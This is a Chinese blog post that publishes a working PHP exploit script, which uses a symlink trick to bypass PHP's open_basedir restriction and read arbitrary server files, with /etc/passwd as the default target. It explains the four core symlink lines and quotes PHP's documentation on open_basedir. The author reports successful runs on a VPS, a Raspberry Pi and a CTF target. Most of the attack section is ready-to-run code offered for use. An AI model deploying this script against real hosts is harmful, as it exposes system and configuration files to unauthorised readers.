PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍


Posted in PHP onJanuary 20, 2015

漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以。

漏洞详情在这里 http://cxsecurity.com/issue/WLB-2009110068。

给出我写的EXP:

<?php

/*

* by phithon

* From https://3water.com

* detail: http://cxsecurity.com/issue/WLB-2009110068

*/

header('content-type: text/plain');

error_reporting(-1);

ini_set('display_errors', TRUE);

printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());

printf("disable_functions: %s\n", ini_get('disable_functions'));

$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');

$relat_file = getRelativePath(__FILE__, $file);

$paths = explode('/', $file);

$name = mt_rand() % 999;

$exp = getRandStr();

mkdir($name);

chdir($name);

for($i = 1 ; $i < count($paths) - 1 ; $i++){

  mkdir($paths[$i]);

  chdir($paths[$i]);

}

mkdir($paths[$i]);

for ($i -= 1; $i > 0; $i--) { 

  chdir('..');

}

$paths = explode('/', $relat_file);

$j = 0;

for ($i = 0; $paths[$i] == '..'; $i++) { 

  mkdir($name);

  chdir($name);

  $j++;

}

for ($i = 0; $i <= $j; $i++) { 

  chdir('..');

}

$tmp = array_fill(0, $j + 1, $name);

symlink(implode('/', $tmp), 'tmplink');

$tmp = array_fill(0, $j, '..');

symlink('tmplink/' . implode('/', $tmp) . $file, $exp);

unlink('tmplink');

mkdir('tmplink');

delfile($name);

$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";

$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";

echo "\n-----------------content---------------\n\n";

echo file_get_contents($exp);

delfile('tmplink');
function getRelativePath($from, $to) {

  // some compatibility fixes for Windows paths

  $from = rtrim($from, '\/') . '/';

  $from = str_replace('\\', '/', $from);

  $to   = str_replace('\\', '/', $to);
  $from   = explode('/', $from);

  $to     = explode('/', $to);

  $relPath  = $to;
  foreach($from as $depth => $dir) {

    // find first non-matching dir

    if($dir === $to[$depth]) {

      // ignore this directory

      array_shift($relPath);

    } else {

      // get number of remaining dirs to $from

      $remaining = count($from) - $depth;

      if($remaining > 1) {

        // add traversals up to first matching dir

        $padLength = (count($relPath) + $remaining - 1) * -1;

        $relPath = array_pad($relPath, $padLength, '..');

        break;

      } else {

        $relPath[0] = './' . $relPath[0];

      }

    }

  }

  return implode('/', $relPath);

}
function delfile($deldir){

  if (@is_file($deldir)) {

    @chmod($deldir,0777);

    return @unlink($deldir);

  }else if(@is_dir($deldir)){

    if(($mydir = @opendir($deldir)) == NULL) return false;

    while(false !== ($file = @readdir($mydir)))

    {

      $name = File_Str($deldir.'/'.$file);

      if(($file!='.') && ($file!='..')){delfile($name);}

    } 

    @closedir($mydir);

    @chmod($deldir,0777);

    return @rmdir($deldir) ? true : false;

  }

}
function File_Str($string)

{

  return str_replace('//','/',str_replace('\\','/',$string));

}
function getRandStr($length = 6) {

  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

  $randStr = '';

  for ($i = 0; $i < $length; $i++) {

    $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);

  }

  return $randStr;

}

如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../../../etc/passwd。

其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd。

这时候删除x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。

精华就是这四句:

symlink("abc/abc/abc/abc","tmplink"); 

symlink("tmplink/../../../etc/passwd", "exploit"); 

unlink("tmplink"); 

mkdir("tmplink");

我们访问http://xxx/exp,如果服务器支持链接文件的访问,那么就能读到/etc/passwd。

其中并没有任何操作触发open_basedir,但达到的 效果就是绕过了open_basedir读取任意文件 。

错误不在php,但又不知道把错误归结到谁头上,所以php一直未管这个问题。

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

open_basedir

将 PHP 所能打开的文件限制在指定的目录树,包括文件本身。本指令 不受 安全模式打开或者关闭的影响。

当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时,该文件的位置将被检查。当文件在指定的目录树之外时 PHP 将拒绝打开它。所有的符号连接都会被解析,所以不可能通过符号连接来避开此限制。

特殊值 . 指明脚本的工作目录将被作为基准目录。但这有些危险,因为脚本的工作目录可以轻易被 chdir() 而改变。

在 httpd.conf 文件中中,open_basedir 可以像其它任何配置选项一样用“php_admin_value open_basedir none”的 方法 关闭(例如某些虚拟主机中)。

在 Windows 中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为 Apache 模块时,父目录中的 open_basedir 路径自动被继承。

用 open_basedir 指定的限制实际上是前缀,不是目录名。也就是说“open_basedir = /dir/incl”也会允许访问“/dir/include”和“/dir/incls”,如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜 线结束路径名。例如:“open_basedir = /dir/incl/”。

Note:

支持多个目录是 3.0.7 加入的。

默认是允许打开所有文件。

我在我的VPS(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,成功读取。

树莓派测试:

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读。而且版本没要求,危害比较大。

前几天成信的CTF,试了下这个脚本,apache也可以读取,当时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获。

发现没旁站,流量是通过网关转发的。

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

PHP 相关文章推荐
PHP小技巧搜集,每个PHPer都来露一手
Jan 02 PHP
PHP缓存技术的多种方法小结
Aug 14 PHP
基于PHP读取csv文件内容的详解
Jun 18 PHP
Yii中render和renderPartial的区别
Sep 03 PHP
PHP使用array_multisort对多个数组或多维数组进行排序
Dec 16 PHP
PHP面向对象之后期静态绑定功能介绍
May 18 PHP
PHP浮点数的一个常见问题
Mar 10 PHP
php用户登录之cookie信息安全分析
May 13 PHP
php封装的mysqli类完整实例
Oct 18 PHP
js基于qrcode.js生成二维码的方法【附demo插件源码下载】
Dec 28 PHP
利用PHPStorm如何开发Laravel应用详解
Aug 30 PHP
Laravel框架实现抢红包功能示例
Oct 31 PHP
php中解析带中文字符的url函数分享
Jan 20 #PHP
PHP中使用正则表达式提取中文实现笔记
Jan 20 #PHP
php中的观察者模式简单实例
Jan 20 #PHP
php 5.6版本中编写一个PHP扩展的简单示例
Jan 20 #PHP
PHP函数extension_loaded()用法实例
Jan 19 #PHP
php使用正则表达式获取图片url的方法
Jan 16 #PHP
php使用CURL伪造IP和来源实例详解
Jan 15 #PHP
You might like
Mysql中分页查询的两个解决方法比较
2013/05/02 PHP
PHP把网页保存为word文件的三种方法
2014/04/01 PHP
php实现的通用图片处理类
2015/03/24 PHP
php表单习惯用的正则表达式
2017/10/11 PHP
Laravel配合jwt使用的方法实例
2020/10/25 PHP
JavaScript 申明函数的三种方法 每个函数就是一个对象(一)
2009/12/04 Javascript
JS控制一个DIV层在指定时间内消失的方法
2014/02/17 Javascript
JavaScript实现页面跳转的几种常用方式
2015/11/28 Javascript
Bootstrap Table使用方法详解
2016/08/01 Javascript
微信小程序 教程之wxapp 视图容器 view
2016/10/19 Javascript
ES6如何用一句代码实现函数的柯里化
2020/01/18 Javascript
Vue $attrs &amp; inheritAttr实现button禁用效果案例
2020/12/07 Vue.js
JavaScript 获取滚动条位置并将页面滑动到锚点
2021/02/08 Javascript
Python使用xlrd模块操作Excel数据导入的方法
2015/05/26 Python
KMP算法精解及其Python版的代码示例
2016/06/01 Python
JSONLINT:python的json数据验证库实例解析
2017/11/28 Python
python OpenCV学习笔记实现二维直方图
2018/02/08 Python
Python实现输入二叉树的先序和中序遍历,再输出后序遍历操作示例
2018/07/27 Python
python使用装饰器作日志处理的方法
2019/07/11 Python
python 普通克里金(Kriging)法的实现
2019/12/19 Python
Python Numpy库常见用法入门教程
2020/01/16 Python
Python ORM框架Peewee用法详解
2020/04/29 Python
浅谈html5标签css3的常用样式
2016/10/20 HTML / CSS
美国第一个网上卖鞋零售商:OnlineShoes.com
2017/09/24 全球购物
Love, Bonito国际官网:新加坡女装品牌
2021/03/13 全球购物
The North Face意大利官网:服装、背包和鞋子
2020/06/17 全球购物
室内设计实习自我鉴定
2013/09/25 职场文书
技术学校毕业生求职信分享
2013/12/02 职场文书
期末自我鉴定
2014/02/02 职场文书
爱护公物演讲稿
2014/09/09 职场文书
2015年度校学生会工作总结报告
2015/05/23 职场文书
上级领导检查欢迎词
2015/09/30 职场文书
如何利用python和DOS获取wifi密码
2021/03/31 Python
python 如何用map()函数创建多线程任务
2021/04/07 Python
如何理解Vue前后端数据交互与显示
2021/05/10 Vue.js
教你漂亮打印Pandas DataFrames和Series
2021/05/29 Python